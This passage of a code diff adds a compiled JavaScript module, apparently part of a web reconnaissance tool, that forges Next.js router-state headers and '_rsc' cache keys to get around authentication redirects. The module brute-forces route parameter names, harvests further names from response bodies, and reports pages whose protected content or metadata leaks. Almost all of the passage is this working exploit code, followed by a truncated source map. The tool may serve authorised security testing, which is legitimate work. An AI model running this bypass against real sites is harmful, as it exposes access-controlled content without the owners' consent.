58
|
+
* Legacy `_rsc` cache-busting key: `djb2Hash` of the same four inputs as
|
|
59
|
+
* `computeStrongRscKey`, base36-encoded and truncated to 5 characters. Mirrors
|
|
60
|
+
* `computeLegacyCacheBustingSearchParam`/`hexHash` in
|
|
61
|
+
* `shared/lib/router/utils/cache-busting-search-param.ts` / `shared/lib/hash.ts`. Cheaper
|
|
62
|
+
* to compute than the strong key, and some Next.js builds accept it as a fallback when the
|
|
63
|
+
* strong-key check fails (see `NEXT-RSC-002`) — no crypto required to probe with it first.
|
|
64
|
+
*/
|
|
65
|
+
export const computeLegacyRscKey = (stateTreeHeader, nextUrlHeader, prefetchHeader = "0", segmentPrefetchHeader = "0") => {
|
|
66
|
+
const input = [prefetchHeader, segmentPrefetchHeader, stateTreeHeader, nextUrlHeader].join(",");
|
|
67
|
+
return djb2Hash(input).toString(36).slice(0, 5);
|
|
68
|
+
};
|
|
69
|
+
/**
|
|
70
|
+
* Common dynamic route param names to guess when the last ancestor segment might be a
|
|
71
|
+
* dynamic route (e.g. `[org]`, `[id]`) rather than a static one. Bounded to keep the
|
|
72
|
+
* per-candidate request count small; a miss just falls through to the next guess. Worst
|
|
73
|
+
* case per candidate URL: `(2 static attempts + this list's length)` guesses, each up to 2
|
|
74
|
+
* key modes (legacy/strong) and up to 2 leaf modes (page/metadata-only) — i.e. roughly
|
|
75
|
+
* `(2 + 20) * 2 * 2 = 88` requests before any RSC-body harvesting fallback (see
|
|
76
|
+
* `extractParamNameCandidatesFromFlightBody`) kicks in, which only spends further requests
|
|
77
|
+
* when this list's guesses all fail AND harvesting actually turns up a new name, capped by
|
|
78
|
+
* `--rsc-param-bruteforce-limit`.
|
|
79
|
+
*/
|
|
80
|
+
const COMMON_DYNAMIC_PARAM_NAMES = [
|
|
81
|
+
"id",
|
|
82
|
+
"slug",
|
|
83
|
+
"org",
|
|
84
|
+
"orgId",
|
|
85
|
+
"organization",
|
|
86
|
+
"tenant",
|
|
87
|
+
"tenantId",
|
|
88
|
+
"username",
|
|
89
|
+
"userId",
|
|
90
|
+
"user",
|
|
91
|
+
"account",
|
|
92
|
+
"accountId",
|
|
93
|
+
"workspace",
|
|
94
|
+
"workspaceId",
|
|
95
|
+
"project",
|
|
96
|
+
"projectId",
|
|
97
|
+
"team",
|
|
98
|
+
"teamId",
|
|
99
|
+
"handle",
|
|
100
|
+
"name",
|
|
101
|
+
"key",
|
|
102
|
+
];
|
|
103
|
+
/**
|
|
104
|
+
* Ancestor-segment claims worth trying per candidate path: first segment only, every
|
|
105
|
+
* segment but the leaf (both as plain static segments), and — for the latter, since a
|
|
106
|
+
* static-segment guess can never match a real dynamic route — the same set with its last
|
|
107
|
+
* segment additionally tried as each of `paramNameCandidates`. Defaults to
|
|
108
|
+
* `COMMON_DYNAMIC_PARAM_NAMES`; `next_routerStateForge` also calls this with RSC-body-
|
|
109
|
+
* harvested names as a fallback when the default list's guesses all fail.
|
|
110
|
+
*/
|
|
111
|
+
export const buildAncestorAttempts = (pathSegments, paramNameCandidates = COMMON_DYNAMIC_PARAM_NAMES) => {
|
|
112
|
+
if (pathSegments.length === 0)
|
|
113
|
+
return [];
|
|
114
|
+
const attempts = [[pathSegments[0]]];
|
|
115
|
+
const allButLeaf = pathSegments.slice(0, -1);
|
|
116
|
+
if (allButLeaf.length > 0 && allButLeaf.join("/") !== pathSegments[0]) {
|
|
117
|
+
attempts.push(allButLeaf);
|
|
118
|
+
const withoutLastAncestor = allButLeaf.slice(0, -1);
|
|
119
|
+
const lastAncestorValue = allButLeaf[allButLeaf.length - 1];
|
|
120
|
+
for (const paramName of paramNameCandidates) {
|
|
121
|
+
attempts.push([...withoutLastAncestor, { paramName, value: lastAncestorValue }]);
|
|
122
|
+
}
|
|
123
|
+
}
|
|
124
|
+
return attempts;
|
|
125
|
+
};
|
|
126
|
+
/** True when a Flight/RSC payload records a server-side redirect (the auth check actually ran). */
|
|
127
|
+
export const containsNextRedirectMarker = (body) => body.includes(NEXT_REDIRECT_MARKER);
|
|
128
|
+
/**
|
|
129
|
+
* Extracts `static/chunks/*.js` (including Turbopack `~`-separated names) references from a
|
|
130
|
+
* Flight payload body. Real payloads encode these WITHOUT a `_next/` prefix — e.g.
|
|
131
|
+
* `4:I[3330,["614","static/chunks/app/dashboard/secret/page-<hash>.js"],"default"]` — the
|
|
132
|
+
* client resolves them against its own asset prefix at runtime. An optional literal
|
|
133
|
+
* `_next/` prefix is still matched for payload shapes that do include it.
|
|
134
|
+
*/
|
|
135
|
+
export const extractChunkPathsFromFlightBody = (body) => {
|
|
136
|
+
const matches = body.matchAll(/(?:_next\/)?static\/chunks\/[a-zA-Z0-9._\-/~]+\.js/g);
|
|
137
|
+
return [...new Set([...matches].map((m) => m[0]))];
|
|
138
|
+
};
|
|
139
|
+
/** Object-key-shaped identifiers that show up next to arbitrary string values in a Flight
|
|
140
|
+
* payload without being the real dynamic-route param name — prop/DOM-attribute-like keys
|
|
141
|
+
* that would otherwise slip past the value-anchored pattern below. `id` is included
|
|
142
|
+
* deliberately: it's already in `COMMON_DYNAMIC_PARAM_NAMES`, so a harvested `"id":"<value>"`
|
|
143
|
+
* hit would only ever duplicate an attempt already made. */
|
|
144
|
+
const PARAM_NAME_CANDIDATE_NOISE = new Set([
|
|
145
|
+
"children",
|
|
146
|
+
"className",
|
|
147
|
+
"key",
|
|
148
|
+
"ref",
|
|
149
|
+
"type",
|
|
150
|
+
"props",
|
|
151
|
+
"default",
|
|
152
|
+
"name",
|
|
153
|
+
"title",
|
|
154
|
+
"description",
|
|
155
|
+
"href",
|
|
156
|
+
"src",
|
|
157
|
+
"id",
|
|
158
|
+
"digest",
|
|
159
|
+
]);
|
|
160
|
+
/**
|
|
161
|
+
* Extracts candidate dynamic-route param names from a Flight/RSC response body already
|
|
162
|
+
* fetched during a failed forge attempt. Two anchored patterns, deliberately narrow to keep
|
|
163
|
+
* the false-positive rate — and therefore the number of extra requests this feeds back into
|
|
164
|
+
* `buildAncestorAttempts` — low:
|
|
165
|
+
*
|
|
166
|
+
* 1. **Value-anchored key extraction.** Flight serializes plain-object props passed to
|
|
167
|
+
* Client Component boundaries as ordinary `"key":"value"` pairs, even though the payload
|
|
168
|
+
* as a whole isn't valid JSON/JS. The crawl already knows the ancestor's literal *value*
|
|
169
|
+
* (`knownValue`, e.g. `"acme-corp"`) but not its *key* — so a key quoted immediately next
|
|
170
|
+
* to that known value is a strong signal for the real `[paramName]`.
|
|
171
|
+
* 2. **Bracket-source pattern (dev-mode only).** Next.js dev error/stack payloads embed
|
|
172
|
+
* webpack module source paths verbatim, e.g.
|
|
173
|
+
* `webpack-internal:///(rsc)/./app/organizations/[org]/layout.tsx` — the bracketed
|
|
174
|
+
* segment there IS the real param name, no anchoring needed since `[name]` in a module
|
|
175
|
+
* path is unambiguous by construction.
|
|
176
|
+
*/
|
|
177
|
+
export const extractParamNameCandidatesFromFlightBody = (body, knownValue) => {
|
|
178
|
+
if (!knownValue)
|
|
179
|
+
return [];
|
|
180
|
+
const escapedValue = knownValue.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
|
|
181
|
+
const candidates = new Set();
|
|
182
|
+
const anchored = body.matchAll(new RegExp(`"([A-Za-z_$][A-Za-z0-9_$]{0,40})"\\s*:\\s*"${escapedValue}"`, "g"));
|
|
183
|
+
for (const m of anchored)
|
|
184
|
+
candidates.add(m[1]);
|
|
185
|
+
const bracketed = body.matchAll(/\/\[([A-Za-z_$][A-Za-z0-9_$]{0,40})\]/g);
|
|
186
|
+
for (const m of bracketed)
|
|
187
|
+
candidates.add(m[1]);
|
|
188
|
+
return [...candidates].filter((c) => !PARAM_NAME_CANDIDATE_NOISE.has(c) && c.length <= 24);
|
|
189
|
+
};
|
|
190
|
+
/** Resolves an extracted chunk path (with or without a `_next/` prefix) to an absolute URL. */
|
|
191
|
+
const resolveChunkUrl = (chunkPath, origin) => {
|
|
192
|
+
const normalized = chunkPath.startsWith("_next/") ? chunkPath : `_next/${chunkPath}`;
|
|
193
|
+
return new URL(`/${normalized}`, origin).toString();
|
|
194
|
+
};
|
|
195
|
+
const REQUEST_TIMEOUT_MS = 15000;
|
|
196
|
+
/** Renders an ancestor-segment list back to its literal URL path, for the `Next-Url` header. */
|
|
197
|
+
const ancestorsToPath = (ancestors) => ancestors.map(ancestorSegmentValue).join("/");
|
|
198
|
+
/** Sends one forged-ancestor RSC request and reports whether it looks like a successful bypass. */
|
|
199
|
+
const attemptForge = (candidateUrl, ancestors, leafMode, keyMode, timeout) => __awaiter(void 0, void 0, void 0, function* () {
|
|
200
|
+
var _a;
|
|
201
|
+
const stateTree = buildStateTreeHeader(ancestors, leafMode);
|
|
202
|
+
const nextUrl = "/" + ancestorsToPath(ancestors);
|
|
203
|
+
const rscKey = keyMode === "legacy" ? computeLegacyRscKey(stateTree, nextUrl) : computeStrongRscKey(stateTree, nextUrl);
|
|
204
|
+
const forgedUrl = new URL(candidateUrl);
|
|
205
|
+
forgedUrl.searchParams.set("_rsc", rscKey);
|
|
206
|
+
const forged = yield rawRequest(forgedUrl.toString(), {
|
|
207
|
+
timeout,
|
|
208
|
+
headers: {
|
|
209
|
+
RSC: "1",
|
|
210
|
+
"Next-Router-State-Tree": stateTree,
|
|
211
|
+
"Next-Url": nextUrl,
|
|
212
|
+
},
|
|
213
|
+
});
|
|
214
|
+
if (!forged)
|
|
215
|
+
return { success: false, body: "" };
|
|
216
|
+
const contentType = (_a = forged.headers["content-type"]) !== null && _a !== void 0 ? _a : "";
|
|
217
|
+
const success = forged.status === 200 && contentType.includes("text/x-component") && !containsNextRedirectMarker(forged.body);
|
|
218
|
+
return { success, body: forged.body };
|
|
219
|
+
});
|
|
220
|
+
/**
|
|
221
|
+
* Tries the cheap legacy key first (no SHA-256 needed); only computes and retries with the
|
|
222
|
+
* strong key if the legacy attempt didn't succeed. Reports which key mode actually worked.
|
|
223
|
+
*/
|
|
224
|
+
const attemptForgeWithKeyFallback = (candidateUrl, ancestors, leafMode, timeout) => __awaiter(void 0, void 0, void 0, function* () {
|
|
225
|
+
const legacy = yield attemptForge(candidateUrl, ancestors, leafMode, "legacy", timeout);
|
|
226
|
+
if (legacy.success)
|
|
227
|
+
return Object.assign(Object.assign({}, legacy), { keyMode: "legacy" });
|
|
228
|
+
const strong = yield attemptForge(candidateUrl, ancestors, leafMode, "strong", timeout);
|
|
229
|
+
return Object.assign(Object.assign({}, strong), { keyMode: "strong" });
|
|
230
|
+
});
|
|
231
|
+
const DEFAULT_RSC_PARAM_BRUTEFORCE_LIMIT = 20;
|
|
232
|
+
/**
|
|
233
|
+
* For each candidate page URL that redirects an unauthenticated request, retries as an
|
|
234
|
+
* RSC fetch with a forged `Next-Router-State-Tree` claiming known ancestor segments are
|
|
235
|
+
* already mounted. If Next.js skips re-executing that ancestor's layout component (see
|
|
236
|
+
* js-recon-internal-docs#142), the response comes back 200 without a NEXT_REDIRECT
|
|
237
|
+
* record — content a plain crawl would never see.
|
|
238
|
+
*
|
|
239
|
+
* Two leaf modes are tried per candidate: an ordinary `page` claim (full body disclosure)
|
|
240
|
+
* first, and — only if every `page` attempt fails — a `metadata-only` claim, which can
|
|
241
|
+
* still leak dynamic `generateMetadata()` output even where a full-body claim doesn't
|
|
242
|
+
* cleanly apply (e.g. a tenant-scoped layout).
|
|
243
|
+
*
|
|
244
|
+
* If every `COMMON_DYNAMIC_PARAM_NAMES` guess fails for both leaf modes, a bounded fallback
|
|
245
|
+
* kicks in (internal#158): every response body already returned by those failed attempts
|
|
246
|
+
* (no extra requests — it's information already paid for) is scanned via
|
|
247
|
+
* `extractParamNameCandidatesFromFlightBody` for the app's real param name. If that turns up
|
|
248
|
+
* any name not already in the fixed list, one bonus round of dynamic-guess attempts is tried
|
|
249
|
+
* with those harvested names (capped at `rscParamBruteforceLimit`; `0` disables this
|
|
250
|
+
* fallback entirely) — for each leaf mode, only if that leaf mode's fixed-list pass failed.
|
|
251
|
+
*/
|
|
252
|
+
const next_routerStateForge = (candidateUrls_1, threads_1, ...args_1) => __awaiter(void 0, [candidateUrls_1, threads_1, ...args_1], void 0, function* (candidateUrls, threads, timeout = REQUEST_TIMEOUT_MS, rscParamBruteforceLimit = DEFAULT_RSC_PARAM_BRUTEFORCE_LIMIT) {
|
|
253
|
+
const bypassedUrls = [];
|
|
254
|
+
const metadataOnlyBypassedUrls = [];
|
|
255
|
+
const legacyKeyAcceptedUrls = [];
|
|
256
|
+
const newJsUrls = [];
|
|
257
|
+
yield runWithConcurrency(candidateUrls, threads, (candidateUrl) => __awaiter(void 0, void 0, void 0, function* () {
|
|
258
|
+
let parsed;
|
|
259
|
+
try {
|
|
260
|
+
parsed = new URL(candidateUrl);
|
|
261
|
+
}
|
|
262
|
+
catch (_a) {
|
|
263
|
+
return;
|
|
264
|
+
}
|
|
265
|
+
const segments = parsed.pathname.split("/").filter(Boolean);
|
|
266
|
+
if (segments.length === 0)
|
|
267
|
+
return;
|
|
268
|
+
// Only worth forging against routes that actually redirect an unauthenticated request.
|
|
269
|
+
const baseline = yield rawRequest(candidateUrl, { timeout });
|
|
270
|
+
if (!baseline || baseline.status < 300 || baseline.status >= 400)
|
|
271
|
+
return;
|
|
272
|
+
const recordChunks = (body) => {
|
|
273
|
+
for (const chunkPath of extractChunkPathsFromFlightBody(body)) {
|
|
274
|
+
newJsUrls.push(resolveChunkUrl(chunkPath, parsed.origin));
|
|
275
|
+
}
|
|
276
|
+
};
|
|
277
|
+
// The literal value of the ancestor segment that a dynamic-route guess would target
|
|
278
|
+
// (same one `buildAncestorAttempts` re-tries as each candidate param name), used to
|
|
279
|
+
// anchor RSC-body harvesting. `undefined` when there's no such candidate slot at all
|
|
280
|
+
// (matches `buildAncestorAttempts`'s own guard).
|
|
281
|
+
const allButLeaf = segments.slice(0, -1);
|
|
282
|
+
const lastAncestorValue = allButLeaf.length > 0 && allButLeaf.join("/") !== segments[0]
|
|
283
|
+
? allButLeaf[allButLeaf.length - 1]
|
|
284
|
+
: undefined;
|
|
285
|
+
const harvestedNames = new Set();
|
|
286
|
+
const ancestorAttempts = buildAncestorAttempts(segments);
|
|
287
|
+
/** Tries every attempt in `attempts` under `leafMode`, harvesting param-name
|
|
288
|
+
* candidates from each body along the way; returns true and records the hit on the
|
|
289
|
+
* first success. */
|
|
290
|
+
const tryAttempts = (attempts, leafMode) => __awaiter(void 0, void 0, void 0, function* () {
|
|
291
|
+
for (const ancestors of attempts) {
|
|
292
|
+
const result = yield attemptForgeWithKeyFallback(candidateUrl, ancestors, leafMode, timeout);
|
|
293
|
+
if (lastAncestorValue && result.body) {
|
|
294
|
+
for (const name of extractParamNameCandidatesFromFlightBody(result.body, lastAncestorValue)) {
|
|
295
|
+
harvestedNames.add(name);
|
|
296
|
+
}
|
|
297
|
+
}
|
|
298
|
+
if (result.success) {
|
|
299
|
+
const verb = leafMode === "page" ? "revealed content" : "revealed metadata";
|
|
300
|
+
const prefix = leafMode === "page"
|
|
301
|
+
? "Forged next-router-state-tree bypass"
|
|
302
|
+
: "Forged metadata-only next-router-state-tree bypass";
|
|
303
|
+
printMsg(MSG.Run, `[✓] ${prefix} ${verb}: ${candidateUrl} (claimed ancestor: /${ancestorsToPath(ancestors)}, ${result.keyMode} _rsc key)`);
|
|
304
|
+
(leafMode === "page" ? bypassedUrls : metadataOnlyBypassedUrls).push(candidateUrl);
|
|
305
|
+
if (result.keyMode === "legacy")
|
|
306
|
+
legacyKeyAcceptedUrls.push(candidateUrl);
|
|
307
|
+
recordChunks(result.body);
|
|
308
|
+
return true;
|
|
309
|
+
}
|
|
310
|
+
}
|
|
311
|
+
return false;
|
|
312
|
+
});
|
|
313
|
+
/** Bonus round of dynamic-guess-only attempts built from names harvested so far but
|
|
314
|
+
* not already covered by the fixed wordlist; `[]` (no-op) if nothing new was found
|
|
315
|
+
* or the fallback is disabled. */
|
|
316
|
+
const harvestBonusAttempts = () => {
|
|
317
|
+
if (rscParamBruteforceLimit <= 0)
|
|
318
|
+
return [];
|
|
319
|
+
const newNames = [...harvestedNames].filter((n) => !COMMON_DYNAMIC_PARAM_NAMES.includes(n));
|
|
320
|
+
if (newNames.length === 0)
|
|
321
|
+
return [];
|
|
322
|
+
return buildAncestorAttempts(segments, newNames.slice(0, rscParamBruteforceLimit)).slice(2);
|
|
323
|
+
};
|
|
324
|
+
let bypassed = yield tryAttempts(ancestorAttempts, "page");
|
|
325
|
+
if (!bypassed)
|
|
326
|
+
bypassed = yield tryAttempts(harvestBonusAttempts(), "page");
|
|
327
|
+
if (bypassed)
|
|
328
|
+
return;
|
|
329
|
+
const metadataBypassed = yield tryAttempts(ancestorAttempts, "metadata-only");
|
|
330
|
+
if (!metadataBypassed)
|
|
331
|
+
yield tryAttempts(harvestBonusAttempts(), "metadata-only");
|
|
332
|
+
}));
|
|
333
|
+
return {
|
|
334
|
+
bypassedUrls: [...new Set(bypassedUrls)],
|
|
335
|
+
metadataOnlyBypassedUrls: [...new Set(metadataOnlyBypassedUrls)],
|
|
336
|
+
legacyKeyAcceptedUrls: [...new Set(legacyKeyAcceptedUrls)],
|
|
337
|
+
newJsUrls: [...new Set(newJsUrls)],
|
|
338
|
+
};
|
|
339
|
+
});
|
|
340
|
+
export default next_routerStateForge;
|
|
341
|
+
//# sourceMappingURL=next_routerStateForge.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"next_routerStateForge.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_routerStateForge.ts"],"names":[],"mappings":"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